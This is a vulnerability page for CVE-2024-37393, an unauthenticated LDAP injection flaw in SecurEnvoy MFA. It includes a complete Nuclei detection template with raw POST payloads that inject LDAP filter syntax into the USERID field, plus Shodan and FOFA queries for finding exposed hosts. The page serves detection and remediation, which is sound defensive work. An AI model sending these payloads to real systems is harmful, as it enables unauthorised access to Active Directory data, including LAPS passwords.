Browse / CVEs / CVE-2024-37393
CVE-2024-37393· CWE-89
SecurEnvoy Two Factor Authentication - LDAP Injection
Multiple LDAP injections vulnerabilities exist in SecurEnvoy MFA before 9.4.514 due to improper validation of user-supplied input. An unauthenticated remote attacker could exfiltrate data from Active Directory through blind LDAP injection attacks against the DESKTOP service exposed on the /secserver HTTP endpoint. This may include ms-Mcs-AdmPwd, which has a cleartext password for the Local Administrator Password Solution (LAPS) feature.
Impact
Unauthenticated attackers can exploit LDAP injection to exfiltrate sensitive Active Directory data including cleartext LAPS passwords.
Fix
Update SecurEnvoy MFA to version 9.4.514 or later.
How to confirm it
Send: POST /secserver/?
Positive when: contains(body_1, 'Error checking Group') and status_code_1 == 200 and contains(body_2, 'GETPASSCODE') and status_code_2 == 200Run it with nuclei: nuclei -id CVE-2024-37393 -u <target>
The full check
id: CVE-2024-37393
info:
name: SecurEnvoy Two Factor Authentication - LDAP Injection
author: s4e-io
severity: critical
description: |
Multiple LDAP injections vulnerabilities exist in SecurEnvoy MFA before 9.4.514 due to improper validation of user-supplied input. An unauthenticated remote attacker could exfiltrate data from Active Directory through blind LDAP injection attacks against the DESKTOP service exposed on the /secserver HTTP endpoint. This may include ms-Mcs-AdmPwd, which has a cleartext password for the Local Administrator Password Solution (LAPS) feature.
impact: |
Unauthenticated attackers can exploit LDAP injection to exfiltrate sensitive Active Directory data including cleartext LAPS passwords.
remediation: |
Update SecurEnvoy MFA to version 9.4.514 or later.
reference:
- https://www.tenable.com/cve/CVE-2024-37393
- https://www.optistream.io/blogs/tech/securenvoy-cve-2024-37393
- https://securenvoy.com
classification:
cve-id: CVE-2024-37393
cwe-id: CWE-89
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
epss-score: 0.03304
epss-percentile: 0.88633
cpe: cpe:2.3:a:securenvoy:multi-factor_authentication_solutions:*:*:*:*:*:*:*:*
metadata:
verified: true
shodan-query: title:"SecurEnvoy"
fofa-query: title="SecurEnvoy"
tags: cve,cve2024,securenvoy,ldap,vuln,vkev
variables:
userid: "{{to_lower(rand_base(20))}}"
http:
- raw:
- |
POST /secserver/? HTTP/1.1
Host: {{Hostname}}
FLAG=DESKTOP
1
STATUS:INIT
USERID:{{userid}})(sAMAccountName=*
MEMBEROF:Domain Users
- |
POST /secserver/? HTTP/1.1
Host: {{Hostname}}
FLAG=DESKTOP
1
STATUS:INIT
USERID:*)(sAMAccountName=*
MEMBEROF:Domain Users
matchers:
- type: dsl
dsl:
- "contains(body_1, 'Error checking Group')"
- "status_code_1 == 200"
- "contains(body_2, 'GETPASSCODE')"
- "status_code_2 == 200"
condition: andReferences
- https://www.tenable.com/cve/CVE-2024-37393
- https://www.optistream.io/blogs/tech/securenvoy-cve-2024-37393
- https://securenvoy.com
Use this check only on systems you are authorised to test. Where the data comes from